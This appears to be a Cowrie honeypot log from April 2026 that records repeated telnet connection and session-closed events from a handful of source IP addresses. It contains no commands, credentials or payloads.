{"eventid":"cowrie.session.closed","duration":30.979106903076172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:34.092972Z","src_ip":"107.152.33.170","session":"732588a94908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52069640159607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:34.268334Z","src_ip":"160.187.180.68","session":"bce7c926e627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58362,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ac0b947829","protocol":"telnet","message":"New connection: 160.187.180.68:58362 (10.17.0.5:23) [session: b0ac0b947829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:34.626430Z"}
{"eventid":"cowrie.session.closed","duration":30.443532705307007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:35.140235Z","src_ip":"167.71.198.239","session":"1a0ac5f9bdb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54372,"dst_ip":"10.17.0.5","dst_port":23,"session":"5af47bfc6259","protocol":"telnet","message":"New connection: 138.197.5.236:54372 (10.17.0.5:23) [session: 5af47bfc6259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:36.050180Z"}
{"eventid":"cowrie.session.closed","duration":30.824363231658936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:36.059730Z","src_ip":"104.248.46.74","session":"c4fec6defc67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619131565093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:36.202934Z","src_ip":"160.187.180.68","session":"c62b66e8c1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":50036,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a607a52332b","protocol":"telnet","message":"New connection: 77.72.5.107:50036 (10.17.0.5:23) [session: 9a607a52332b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:36.359167Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49974,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0dd6984f04","protocol":"telnet","message":"New connection: 107.152.33.170:49974 (10.17.0.5:23) [session: 2f0dd6984f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:37.178875Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":37870,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33ba0b99a8e","protocol":"telnet","message":"New connection: 136.244.67.81:37870 (10.17.0.5:23) [session: a33ba0b99a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:37.214185Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":34168,"dst_ip":"10.17.0.5","dst_port":23,"session":"2534fe487a74","protocol":"telnet","message":"New connection: 185.26.126.47:34168 (10.17.0.5:23) [session: 2534fe487a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:37.231747Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":34178,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d0115032309","protocol":"telnet","message":"New connection: 185.26.126.47:34178 (10.17.0.5:23) [session: 7d0115032309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:37.245088Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9acad850383","protocol":"telnet","message":"New connection: 62.77.140.101:42558 (10.17.0.5:23) [session: d9acad850383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:37.312716Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1281cb970ac","protocol":"telnet","message":"New connection: 138.197.5.236:54670 (10.17.0.5:23) [session: e1281cb970ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:38.206209Z"}
{"eventid":"cowrie.session.closed","duration":30.737926721572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:39.000569Z","src_ip":"185.26.126.47","session":"9270a4d7ce49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9db97cd500d","protocol":"telnet","message":"New connection: 77.72.5.107:50608 (10.17.0.5:23) [session: a9db97cd500d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:39.289382Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58366,"dst_ip":"10.17.0.5","dst_port":23,"session":"853830062f46","protocol":"telnet","message":"New connection: 160.187.180.68:58366 (10.17.0.5:23) [session: 853830062f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:39.498340Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":50652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c7a501de6c4","protocol":"telnet","message":"New connection: 77.72.5.107:50652 (10.17.0.5:23) [session: 3c7a501de6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:39.557881Z"}
{"eventid":"cowrie.session.closed","duration":30.522758722305298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:40.158426Z","src_ip":"160.187.180.68","session":"fddec6199fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":50778,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca48e71980e","protocol":"telnet","message":"New connection: 77.72.5.107:50778 (10.17.0.5:23) [session: cca48e71980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:40.239837Z"}
{"eventid":"cowrie.session.closed","duration":30.87756371498108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:41.094567Z","src_ip":"104.248.46.74","session":"6b1d335ffa39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49976,"dst_ip":"10.17.0.5","dst_port":23,"session":"719813c4a6fe","protocol":"telnet","message":"New connection: 107.152.33.170:49976 (10.17.0.5:23) [session: 719813c4a6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:41.104131Z"}
{"eventid":"cowrie.session.closed","duration":30.355197429656982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:41.142780Z","src_ip":"160.187.180.68","session":"603f32905c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49986,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e89cba2023a","protocol":"telnet","message":"New connection: 107.152.33.170:49986 (10.17.0.5:23) [session: 7e89cba2023a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.125871Z"}
{"eventid":"cowrie.session.closed","duration":30.613276481628418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.166963Z","src_ip":"167.71.198.239","session":"c66720c93058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35108,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68a1dcc738c","protocol":"telnet","message":"New connection: 212.192.218.74:35108 (10.17.0.5:23) [session: a68a1dcc738c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.274060Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35120,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef56f8513cb7","protocol":"telnet","message":"New connection: 212.192.218.74:35120 (10.17.0.5:23) [session: ef56f8513cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.285300Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35152,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeba97ec4cc6","protocol":"telnet","message":"New connection: 212.192.218.74:35152 (10.17.0.5:23) [session: aeba97ec4cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.336720Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35160,"dst_ip":"10.17.0.5","dst_port":23,"session":"144177312efa","protocol":"telnet","message":"New connection: 212.192.218.74:35160 (10.17.0.5:23) [session: 144177312efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.346636Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35178,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf3cfaa4e5a","protocol":"telnet","message":"New connection: 212.192.218.74:35178 (10.17.0.5:23) [session: 9bf3cfaa4e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.389600Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0fd2beb6b12","protocol":"telnet","message":"New connection: 212.192.218.74:35182 (10.17.0.5:23) [session: d0fd2beb6b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.394779Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49996,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd32b46bd943","protocol":"telnet","message":"New connection: 107.152.33.170:49996 (10.17.0.5:23) [session: fd32b46bd943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.398479Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8db76e9040b","protocol":"telnet","message":"New connection: 212.192.218.74:35258 (10.17.0.5:23) [session: a8db76e9040b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.422268Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e1ff138598","protocol":"telnet","message":"New connection: 212.192.218.74:35284 (10.17.0.5:23) [session: a3e1ff138598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.442759Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35298,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c143313283","protocol":"telnet","message":"New connection: 212.192.218.74:35298 (10.17.0.5:23) [session: 32c143313283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.454019Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27c374eced2","protocol":"telnet","message":"New connection: 212.192.218.74:35312 (10.17.0.5:23) [session: c27c374eced2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.477548Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35310,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc5727426215","protocol":"telnet","message":"New connection: 212.192.218.74:35310 (10.17.0.5:23) [session: bc5727426215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.483501Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":51196,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb5cfa555e8","protocol":"telnet","message":"New connection: 77.72.5.107:51196 (10.17.0.5:23) [session: dfb5cfa555e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.518402Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42568,"dst_ip":"10.17.0.5","dst_port":23,"session":"41a0737106c5","protocol":"telnet","message":"New connection: 62.77.140.101:42568 (10.17.0.5:23) [session: 41a0737106c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:42.754116Z"}
{"eventid":"cowrie.session.closed","duration":30.81257390975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.068717Z","src_ip":"104.248.46.74","session":"976ffae8fae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449061393737793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.139915Z","src_ip":"167.71.198.239","session":"d4289dd54e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35700,"dst_ip":"10.17.0.5","dst_port":23,"session":"420a969af030","protocol":"telnet","message":"New connection: 212.192.218.74:35700 (10.17.0.5:23) [session: 420a969af030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.350017Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35702,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a56f8d15ead","protocol":"telnet","message":"New connection: 212.192.218.74:35702 (10.17.0.5:23) [session: 9a56f8d15ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.354607Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60d29a6db8e","protocol":"telnet","message":"New connection: 107.152.33.170:32932 (10.17.0.5:23) [session: e60d29a6db8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.378983Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35766,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61ca34dfa8c","protocol":"telnet","message":"New connection: 212.192.218.74:35766 (10.17.0.5:23) [session: e61ca34dfa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.404206Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":35864,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c2d3433c93","protocol":"telnet","message":"New connection: 212.192.218.74:35864 (10.17.0.5:23) [session: 68c2d3433c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:43.487265Z"}
{"eventid":"cowrie.session.closed","duration":30.41895580291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:44.119893Z","src_ip":"160.187.180.68","session":"42c575de33fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36242,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6187dd45b33","protocol":"telnet","message":"New connection: 212.192.218.74:36242 (10.17.0.5:23) [session: b6187dd45b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:44.251183Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c717ea8eeac","protocol":"telnet","message":"New connection: 212.192.218.74:36326 (10.17.0.5:23) [session: 3c717ea8eeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:44.354721Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36352,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3b4a200e5f","protocol":"telnet","message":"New connection: 212.192.218.74:36352 (10.17.0.5:23) [session: 5d3b4a200e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:44.372591Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36450,"dst_ip":"10.17.0.5","dst_port":23,"session":"5edee61df8d5","protocol":"telnet","message":"New connection: 212.192.218.74:36450 (10.17.0.5:23) [session: 5edee61df8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:44.459945Z"}
{"eventid":"cowrie.session.closed","duration":30.37428379058838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.157095Z","src_ip":"160.187.180.68","session":"72428ddd69d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":51668,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a3377c9c8c","protocol":"telnet","message":"New connection: 77.72.5.107:51668 (10.17.0.5:23) [session: 44a3377c9c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.195170Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36826,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a837c78ce0","protocol":"telnet","message":"New connection: 212.192.218.74:36826 (10.17.0.5:23) [session: e4a837c78ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.276934Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36840,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d17c1279d6","protocol":"telnet","message":"New connection: 212.192.218.74:36840 (10.17.0.5:23) [session: c7d17c1279d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.299005Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36852,"dst_ip":"10.17.0.5","dst_port":23,"session":"8492b3959c49","protocol":"telnet","message":"New connection: 212.192.218.74:36852 (10.17.0.5:23) [session: 8492b3959c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.320141Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bddc6463246","protocol":"telnet","message":"New connection: 212.192.218.74:36912 (10.17.0.5:23) [session: 7bddc6463246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.387817Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":36934,"dst_ip":"10.17.0.5","dst_port":23,"session":"50576c18d48a","protocol":"telnet","message":"New connection: 212.192.218.74:36934 (10.17.0.5:23) [session: 50576c18d48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.402896Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":32944,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9ece8fe8ba3","protocol":"telnet","message":"New connection: 107.152.33.170:32944 (10.17.0.5:23) [session: b9ece8fe8ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:45.887619Z"}
{"eventid":"cowrie.session.closed","duration":30.37341547012329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:46.133540Z","src_ip":"167.71.198.239","session":"0d524703921f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":37468,"dst_ip":"10.17.0.5","dst_port":23,"session":"31abe80cb790","protocol":"telnet","message":"New connection: 212.192.218.74:37468 (10.17.0.5:23) [session: 31abe80cb790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:46.310469Z"}
{"eventid":"cowrie.session.closed","duration":30.855079174041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:47.039528Z","src_ip":"185.26.126.47","session":"1695b7905989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58257269859314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:47.187205Z","src_ip":"160.187.180.68","session":"4782296ddd4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"54cdbfe0f202","protocol":"telnet","message":"New connection: 77.72.5.107:51992 (10.17.0.5:23) [session: 54cdbfe0f202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:47.267183Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1fed0b4f79","protocol":"telnet","message":"New connection: 136.244.67.81:38240 (10.17.0.5:23) [session: cb1fed0b4f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:47.328601Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":38090,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0eb4cd8d279","protocol":"telnet","message":"New connection: 212.192.218.74:38090 (10.17.0.5:23) [session: e0eb4cd8d279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:47.355366Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"015ce33c00a4","protocol":"telnet","message":"New connection: 212.192.218.74:38552 (10.17.0.5:23) [session: 015ce33c00a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:48.012271Z"}
{"eventid":"cowrie.session.closed","duration":30.646774291992188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:48.074260Z","src_ip":"62.77.140.101","session":"49e9d5038db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55772566795349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:48.156092Z","src_ip":"160.187.180.68","session":"4feafae3ced7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"3643d2ae22b0","protocol":"telnet","message":"New connection: 212.192.218.74:38916 (10.17.0.5:23) [session: 3643d2ae22b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:48.745806Z"}
{"eventid":"cowrie.session.closed","duration":30.926698923110962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:49.134341Z","src_ip":"160.187.180.68","session":"b2f83296daeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":32958,"dst_ip":"10.17.0.5","dst_port":23,"session":"061aa1a31404","protocol":"telnet","message":"New connection: 107.152.33.170:32958 (10.17.0.5:23) [session: 061aa1a31404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:49.157665Z"}
{"eventid":"cowrie.session.closed","duration":30.526323556900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:49.189171Z","src_ip":"160.187.180.68","session":"fd074f47ae7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"0487474b6f4e","protocol":"telnet","message":"New connection: 136.244.67.81:38256 (10.17.0.5:23) [session: 0487474b6f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:49.260528Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60614,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c5707f88a1b","protocol":"telnet","message":"New connection: 62.77.140.101:60614 (10.17.0.5:23) [session: 7c5707f88a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:49.352053Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":52254,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b4294097058","protocol":"telnet","message":"New connection: 77.72.5.107:52254 (10.17.0.5:23) [session: 0b4294097058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:49.473251Z"}
{"eventid":"cowrie.session.closed","duration":30.857725381851196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:50.056989Z","src_ip":"77.72.5.107","session":"575625aba034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554644346237183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:50.156421Z","src_ip":"160.187.180.68","session":"27f94bded6b2","protocol":"telnet"}
